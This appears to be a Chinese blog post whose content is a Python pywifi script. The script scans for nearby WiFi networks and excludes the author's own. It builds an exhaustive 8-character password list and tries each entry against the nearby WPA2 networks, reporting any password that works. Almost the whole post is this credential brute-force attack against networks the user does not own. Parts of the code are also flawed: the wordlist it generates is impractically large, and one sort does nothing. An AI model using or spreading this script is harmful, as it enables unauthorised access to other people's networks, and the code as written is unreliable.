Python-pywifi

#! encoding:utf-8

import pywifi
from pywifi import const
import itertools
import time


def getWifi(wifilist, wificount):
    wifi = pywifi.PyWiFi()  # 抓取網卡接口
    ifaces = wifi.interfaces()[0]  # 獲取網卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist:  # 去掉重複的WIFI名稱
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    if len(allwifilist) is not 0:
        for item in allwifilist:
            if (item[0] not in ssidlist) & (item[0] not in wifilist):
                n = n + 1
                if n <= wificount:
                    ssidlist.append(item[0])
    allwifilist.sort(reverse=True)
    print(allwifilist)
    return ssidlist


def getport():
    wifi = pywifi.PyWiFi()  # 抓取網卡接口
    ifaces = wifi.interfaces()[0]  # 獲取網卡
    ifaces.disconnect()  # 斷開無限網卡連接
    return ifaces


def testconnect(ifaces, ssidname, password):
    profile = pywifi.Profile()  # 創建wifi連接文件
    profile.ssid = ssidname  # 定義wifissid
    profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
    profile.key = password  # wifi密碼
    ifaces.remove_all_network_profiles()  # 刪除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加載配置文件
    ifaces.connect(tmp_profile)  # 連接wifi
    time.sleep(5)  # 停留5秒連接時間
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False


def tryconnect(wifinamelist):
    # 生成常用的密碼字典
    words_num = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,./;?"
    word = itertools.product(words_num, repeat=8)
    dic = open("C:\WIFI密碼字典.txt", "w")
    for i in word:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()
    
    # 獲取密碼字典組合嘗試連接
    ifaces = getport()
    files = open(r"C:\WIFI密碼字典.txt", 'r')
    while True:
        try:
            password = files.readline()
            password = password.strip('\n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在嘗試鏈接:" + wifiname + "," +"密碼:" + password)
                if testconnect(ifaces, wifiname, password):
                    print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password)
                    wifinamelist.remove(wifiname)
                    break
            if not wifinamelist:
                break
        except:
            continue
    files.close()


if __name__ == '__main__':
    wifinames_e = ["YCH", "Vrapile"] #排除某個WiFi名稱不被破解,比如YCH
    wifinames = getWifi(wifinames_e, 5)
    print(wifinames)
    tryconnect(wifinames)

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章